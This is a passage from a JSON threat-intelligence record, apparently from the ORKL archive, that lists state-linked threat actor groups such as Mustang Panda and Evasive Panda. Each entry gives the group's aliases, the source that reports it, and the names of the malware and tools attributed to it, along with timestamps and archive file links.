			"main_name": "Evasive Panda",
			"aliases": [
				"BRONZE HIGHLAND"
			],
			"source_name": "MISPGALAXY:Evasive Panda",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "b69037ec-2605-4de4-bb32-a20d780a8406",
			"created_at": "2023-01-06T13:46:38.790766Z",
			"updated_at": "2026-04-10T02:00:03.101635Z",
			"deleted_at": null,
			"main_name": "MUSTANG PANDA",
			"aliases": [
				"Stately Taurus",
				"LuminousMoth",
				"TANTALUM",
				"Twill Typhoon",
				"TEMP.HEX",
				"Earth Preta",
				"Polaris",
				"BRONZE PRESIDENT",
				"HoneyMyte",
				"Red Lich",
				"TA416"
			],
			"source_name": "MISPGALAXY:MUSTANG PANDA",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "05cb998c-6e81-47f0-9806-ee4fda72fe0a",
			"created_at": "2024-11-01T02:00:52.763555Z",
			"updated_at": "2026-04-10T02:00:05.263997Z",
			"deleted_at": null,
			"main_name": "Daggerfly",
			"aliases": [
				"Daggerfly",
				"Evasive Panda",
				"BRONZE HIGHLAND"
			],
			"source_name": "MITRE:Daggerfly",
			"tools": [
				"PlugX",
				"MgBot",
				"BITSAdmin",
				"MacMa",
				"Nightdoor"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "812f36f8-e82b-41b6-b9ec-0d23ab0ad6b7",
			"created_at": "2023-01-06T13:46:39.413725Z",
			"updated_at": "2026-04-10T02:00:03.31882Z",
			"deleted_at": null,
			"main_name": "BRONZE HIGHLAND",
			"aliases": [
				"Evasive Panda",
				"Daggerfly"
			],
			"source_name": "MISPGALAXY:BRONZE HIGHLAND",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "6daadf00-952c-408a-89be-aa490d891743",
			"created_at": "2025-08-07T02:03:24.654882Z",
			"updated_at": "2026-04-10T02:00:03.645565Z",
			"deleted_at": null,
			"main_name": "BRONZE PRESIDENT",
			"aliases": [
				"Earth Preta ",
				"HoneyMyte ",
				"Mustang Panda ",
				"Red Delta ",
				"Red Lich ",
				"Stately Taurus ",
				"TA416 ",
				"Temp.Hex ",
				"Twill Typhoon "
			],
			"source_name": "Secureworks:BRONZE PRESIDENT",
			"tools": [
				"BlueShell",
				"China Chopper",
				"Claimloader",
				"Cobalt Strike",
				"HIUPAN",
				"ORat",
				"PTSOCKET",
				"PUBLOAD",
				"PlugX",
				"RCSession",
				"TONESHELL",
				"TinyNote"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "19ac84cc-bb2d-4e0c-ace0-5a7659d89ac7",
			"created_at": "2022-10-25T16:07:23.422755Z",
			"updated_at": "2026-04-10T02:00:04.592069Z",
			"deleted_at": null,
			"main_name": "Bronze Highland",
			"aliases": [
				"Daggerfly",
				"Digging Taurus",
				"Evasive Panda",
				"Storm Cloud",
				"StormBamboo",
				"TAG-102",
				"TAG-112"
			],
			"source_name": "ETDA:Bronze Highland",
			"tools": [
				"Agentemis",
				"CDDS",
				"CloudScout",
				"Cobalt Strike",
				"CobaltStrike",
				"DazzleSpy",
				"KsRemote",
				"LOLBAS",
				"LOLBins",
				"Living off the Land",
				"MacMa",
				"Macma",
				"MgBot",
				"Mgmbot",
				"NetMM",
				"Nightdoor",
				"OSX.CDDS",
				"POCOSTICK",
				"RELOADEXT",
				"Suzafk",
				"cobeacon"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "9baa7519-772a-4862-b412-6f0463691b89",
			"created_at": "2022-10-25T15:50:23.354429Z",
			"updated_at": "2026-04-10T02:00:05.310361Z",
			"deleted_at": null,
			"main_name": "Mustang Panda",
			"aliases": [
				"Mustang Panda",
				"TA416",
				"RedDelta",
				"BRONZE PRESIDENT",
				"STATELY TAURUS",
				"FIREANT",
				"CAMARO DRAGON",
				"EARTH PRETA",
				"HIVE0154",
				"TWILL TYPHOON",
				"TANTALUM",
				"LUMINOUS MOTH",
				"UNC6384",
				"TEMP.Hex",
				"Red Lich"
			],
			"source_name": "MITRE:Mustang Panda",
			"tools": [
				"CANONSTAGER",
				"STATICPLUGIN",
				"ShadowPad",
				"TONESHELL",
				"Cobalt Strike",
				"HIUPAN",
				"Impacket",
				"SplatCloak",
				"PAKLOG",
				"Wevtutil",
				"AdFind",
				"CLAIMLOADER",
				"Mimikatz",
				"PUBLOAD",
				"StarProxy",
				"CorKLOG",
				"RCSession",
				"NBTscan",
				"PoisonIvy",
				"SplatDropper",
				"China Chopper",
				"PlugX"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "4f7d2815-7504-4818-bf8d-bba18161b111",
			"created_at": "2025-08-07T02:03:24.613342Z",
			"updated_at": "2026-04-10T02:00:03.732192Z",
			"deleted_at": null,
			"main_name": "BRONZE HIGHLAND",
			"aliases": [
				"Daggerfly",
				"Daggerfly ",
				"Evasive Panda ",
				"Evasive Panda ",
				"Storm Bamboo "
			],
			"source_name": "Secureworks:BRONZE HIGHLAND",
			"tools": [
				"Cobalt Strike",
				"KsRemote",
				"Macma",
				"MgBot",
				"Nightdoor",
				"PlugX"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "bc289ba8-bc61-474c-8462-a3f7179d97bb",
			"created_at": "2022-10-25T16:07:24.450609Z",
			"updated_at": "2026-04-10T02:00:04.996582Z",
			"deleted_at": null,
			"main_name": "Avalanche",
			"aliases": [],
			"source_name": "ETDA:Avalanche",
			"tools": [],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "02c9f3f6-5d10-456b-9e63-750286048149",
			"created_at": "2022-10-25T16:07:23.722884Z",
			"updated_at": "2026-04-10T02:00:04.72726Z",
			"deleted_at": null,
			"main_name": "Inception Framework",
			"aliases": [
				"ATK 116",
				"Blue Odin",
				"Clean Ursa",
				"Cloud Atlas",
				"G0100",
				"Inception Framework",
				"Operation Cloud Atlas",
				"Operation RedOctober",
				"The Rocra"
			],
			"source_name": "ETDA:Inception Framework",
			"tools": [
				"Lastacloud",
				"PowerShower",
				"VBShower"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "2ee03999-5432-4a65-a850-c543b4fefc3d",
			"created_at": "2022-10-25T16:07:23.882813Z",
			"updated_at": "2026-04-10T02:00:04.776949Z",
			"deleted_at": null,
			"main_name": "Mustang Panda",
			"aliases": [
				"Bronze President",
				"Camaro Dragon",
				"Earth Preta",
				"G0129",
				"Hive0154",
				"HoneyMyte",
				"Mustang Panda",
				"Operation SMUGX",
				"Operation SmugX",
				"PKPLUG",
				"Red Lich",
				"Stately Taurus",
				"TEMP.Hex",
				"Twill Typhoon"
			],
			"source_name": "ETDA:Mustang Panda",
			"tools": [
				"9002 RAT",
				"AdFind",
				"Agent.dhwf",
				"Agentemis",
				"CHINACHOPPER",
				"China Chopper",
				"Chymine",
				"ClaimLoader",
				"Cobalt Strike",
				"CobaltStrike",
				"DCSync",
				"DOPLUGS",
				"Darkmoon",
				"Destroy RAT",
				"DestroyRAT",
				"Farseer",
				"Gen:Trojan.Heur.PT",
				"HOMEUNIX",
				"Hdump",
				"HenBox",
				"HidraQ",
				"Hodur",
				"Homux",
				"HopperTick",
				"Hydraq",
				"Impacket",
				"Kaba",
				"Korplug",
				"LadonGo",
				"MQsTTang",
				"McRAT",
				"MdmBot",
				"Mimikatz",
				"NBTscan",
				"NetSess",
				"Netview",
				"Orat",
				"POISONPLUG.SHADOW",
				"PUBLOAD",
				"PVE Find AD Users",
				"PlugX",
				"Poison Ivy",
				"PowerView",
				"QMAGENT",
				"RCSession",
				"RedDelta",
				"Roarur",
				"SPIVY",
				"ShadowPad Winnti",
				"SinoChopper",
				"Sogu",
				"TIGERPLUG",
				"TONEINS",
				"TONESHELL",
				"TVT",
				"TeamViewer",
				"Thoper",
				"TinyNote",
				"WispRider",
				"WmiExec",
				"XShellGhost",
				"Xamtrav",
				"Zupdax",
				"cobeacon",
				"nbtscan",
				"nmap",
				"pivy",
				"poisonivy"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434069,
	"ts_updated_at": 1775792193,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/65198c8a27b1f45908e281903ed3739d67af2924.pdf",
		"text": "https://archive.orkl.eu/65198c8a27b1f45908e281903ed3739d67af2924.txt",
		"img": "https://archive.orkl.eu/65198c8a27b1f45908e281903ed3739d67af2924.jpg"
	}
}